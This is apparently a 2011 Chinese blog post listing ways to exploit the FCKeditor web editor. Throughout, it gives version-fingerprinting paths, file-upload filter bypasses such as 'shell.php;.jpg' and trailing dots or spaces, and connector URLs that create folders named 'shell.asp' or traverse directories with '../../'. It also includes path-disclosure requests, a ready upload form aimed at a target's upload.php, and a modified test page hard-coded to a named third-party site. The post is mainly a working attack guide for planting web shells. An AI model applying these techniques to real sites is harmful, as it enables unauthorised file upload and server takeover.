Fckeditor 漏洞利用

分类:安全 | 2011-08-8 | 撸过 716 次
0人扯谈

Fckeditor漏洞利用
查看编辑器版本
FCKeditor/_whatsnew.html
fckeditor/editor/dialog/fck_about.html
—————————————————————————————————————————————————————————————

2. Version 2.2 版本
Apache+linux 环境下在上传文件后面加个.突破!测试通过。
—————————————————————————————————————————————————————————————
3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。

<form id="frmUpload" enctype="multipart/form-data"
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form>

—————————————————————————————————————————————————————————————

4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
4.1:提交shell.php+空格绕过
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
—————————————————————————————————————————————————————————————

5. 突破建立文件夹
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&amp;Type=Image&amp;CurrentFolder=%2Fshell.asp&amp;NewFolderName=z&amp;uuid=1244789975684
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&amp;CurrentFolder=/&amp;Type=Image&amp;NewFolderName=shell.asp
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&amp;Type=Image&amp;CurrentFolder=../../
—————————————————————————————————————————————————————————————

6. FCKeditor 中test 文件的上传地址
FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html
—————————————————————————————————————————————————————————————

7.常用上传地址
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&amp;Type=Image&amp;CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&amp;connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&amp;Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
JSP 版:
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&amp;Connector=connectors/jsp/connector.jsp
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。
—————————————————————————————————————————————————————————————

8.其他上传地址
FCKeditor/_samples/default.html
FCKeditor/_samples/asp/sample01.asp
FCKeditor/_samples/asp/sample02.asp
FCKeditor/_samples/asp/sample03.asp
FCKeditor/_samples/asp/sample04.asp
一般很多站点都已删除_samples 目录,可以试试。
FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
—————————————————————————————————————————————————————————————

9.列目录漏洞也可助找上传地址
Version 2.4.1 测试通过
修改CurrentFolder 参数使用 ../../来进入不同的目录
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&amp;Type=Image&amp;CurrentFolder=../../..%2F&amp;NewFolderName=shell.asp
根据返回的XML 信息可以查看网站所有的目录。
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&amp;Type=Image&amp;CurrentFolder=%2F
也可以直接浏览盘符:
JSP 版本:
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&amp;Type=&amp;CurrentFolder=%2F
—————————————————————————————————————————————————————————————

10.爆路径漏洞
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&amp;Type=File&amp;CurrentFolder=/shell.asp
FCKeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php(支持php的通杀)
/FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&amp;connector=connectors/aspx/connector.aspx 2.5可突破

FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&amp;Type=File&amp;CurrentFolder=/shell.asp

—————————————————————————————————————————————————————————————

11. FCKeditor 被动限制策略所导致的过滤不严问题
影响版本: FCKeditor x.x 脆弱描述:
FCKeditor v2.4.3 中File 类别默认拒绝上传类型:
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
Fckeditor 2.0 而在apache 下,因为”Apache 文件名解析缺陷漏洞”也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。
在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!
—————————————————————————————————————————————————————————————

12.最古老的漏洞,Type文件没有限制!
我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本!
—————————————————————————————————————————————————————————————
13、Version &lt; =2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。

<form id="frmUpload" action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post" enctype="multipart/form-data">Upload a new file:
<input type="file" name="NewFile" size="50" />
<input id="btnUpload" type="submit" value="Upload" /></form>

14、本地构造test文件

<!--
* FCKeditor - The text editor for Internet - http://www.fckeditor.net
* Copyright (C) 2003-2007 Frederico Caldeira Knabben
*
* == BEGIN LICENSE ==
*
* Licensed under the terms of any of the following licenses at your
* choice:
*
* - GNU General Public License Version 2 or later (the "GPL")
* http://www.gnu.org/licenses/gpl.html
*
* - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
* http://www.gnu.org/licenses/lgpl.html
*
* - Mozilla Public License Version 1.1 or later (the "MPL")
* http://www.mozilla.org/MPL/MPL-1.1.html
*
* == END LICENSE ==
*
* Test page for the File Browser connectors.
-->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>FCKeditor - Connectors Tests</title>
<script type="text/javascript">

function BuildBaseUrl( command )
{
var sUrl =
document.getElementById('cmbConnector').value +
'?Command=' + command +
'&Type=' + document.getElementById('cmbType').value +
'&CurrentFolder=' + encodeURIComponent(document.getElementById('txtFolder').value) ;

return sUrl ;
}

function SetFrameUrl( url )
{
document.getElementById('eRunningFrame').src = url ;

document.getElementById('eUrl').innerHTML = url ;
}

function GetFolders()
{
SetFrameUrl( BuildBaseUrl( 'GetFolders' ) ) ;
return false ;
}

function GetFoldersAndFiles()
{
SetFrameUrl( BuildBaseUrl( 'GetFoldersAndFiles' ) ) ;
return false ;
}

function CreateFolder()
{
var sFolder = prompt( 'Type the folder name:', 'Test Folder' ) ;

if ( ! sFolder )
return false ;

var sUrl = BuildBaseUrl( 'CreateFolder' ) ;
sUrl += '&NewFolderName=' + encodeURIComponent( sFolder ) ;

SetFrameUrl( sUrl ) ;
return false ;
}

function OnUploadCompleted( errorNumber, fileName )
{
switch ( errorNumber )
{
case 0 :
alert( 'File uploaded with no errors' ) ;
break ;
case 201 :
GetFoldersAndFiles() ;
alert( 'A file with the same name is already available. The uploaded file has been renamed to "' + fileName + '"' ) ;
break ;
case 202 :
alert( 'Invalid file' ) ;
break ;
default :
alert( 'Error on file upload. Error number: ' + errorNumber ) ;
break ;
}
}

this.frames.frmUpload = this ;

function SetAction()
{
var sUrl = BuildBaseUrl( 'FileUpload' ) ;
document.getElementById('eUrl').innerHTML = sUrl ;
document.getElementById('frmUpload').action = sUrl ;
}

</script>
</head>
<body>
<table height="100%" cellspacing="0" cellpadding="0" width="100%" border="0">
<tr>
<td>
<table cellspacing="0" cellpadding="0" border="0">
<tr>
<td>
Connector:<br />
<select id="cmbConnector" name="cmbConnector">
<option value="http://zjmyjs.com/editor/filemanager/connectors/asp/connector.asp" selected="selected">ASP</option>
<option value="ASP.Net</option'>http://zjmyjs.com/editor/filemanager/connectors/aspx/connector.aspx">ASP.Net</option>
<option value="cfm/connector.cfm">ColdFusion</option>
<option value="lasso/connector.lasso">Lasso</option>
<option value="perl/connector.cgi">Perl</option>
<option value="PHP</option'>http://zjmyjs.com/editor/filemanager/connectors/php/connector.php">PHP</option>
<option value="py/connector.py">Python</option>
</select>
</td>
<td>
</td>
<td>
Current Folder<br />
<input id="txtFolder" type="text" value="/" name="txtFolder" /></td>
<td>
</td>
<td>
Resource Type<br />
<select id="cmbType" name="cmbType">
<option value="File" selected="selected">File</option>
<option value="Image">Image</option>
<option value="Flash">Flash</option>
<option value="Media">Media</option>
<option value="Invalid">Invalid Type (for testing)</option>
</select>
</td>
</tr>
</table>
<br />
<table cellspacing="0" cellpadding="0" border="0">
<tr>
<td valign="top">
<a href="#" onclick="GetFolders();">Get Folders</a></td>
<td>
</td>
<td valign="top">
<a href="#" onclick="GetFoldersAndFiles();">Get Folders and Files</a></td>
<td>
</td>
<td valign="top">
<a href="#" onclick="CreateFolder();">Create Folder</a></td>
<td>
</td>
<td valign="top">
<form id="frmUpload" action="" target="eRunningFrame" method="post" enctype="multipart/form-data">
File Upload<br />
<input id="txtFileUpload" type="file" name="NewFile" />
<input type="submit" value="Upload" onclick="SetAction();" />
</form>
</td>
</tr>
</table>
<br />
URL: <span id="eUrl"></span>
</td>
</tr>
<tr>
<td height="100%" valign="top">
<iframe id="eRunningFrame" src="javascript:void(0)" name="eRunningFrame" width="100%"
height="100%"></iframe>
</td>
</tr>
</table>
</body>
</html>

以上方法都是网上收集和在平时渗透中所总结的经验,可能有些有遗漏,当再想起的时候再补充,也有自己没发现的就要靠各位大侠分享学习了!

本站内容均为原创,转载请务必保留署名与链接!
Fckeditor 漏洞利用:https://www.webshell.cc/260.html
标签:

相关日志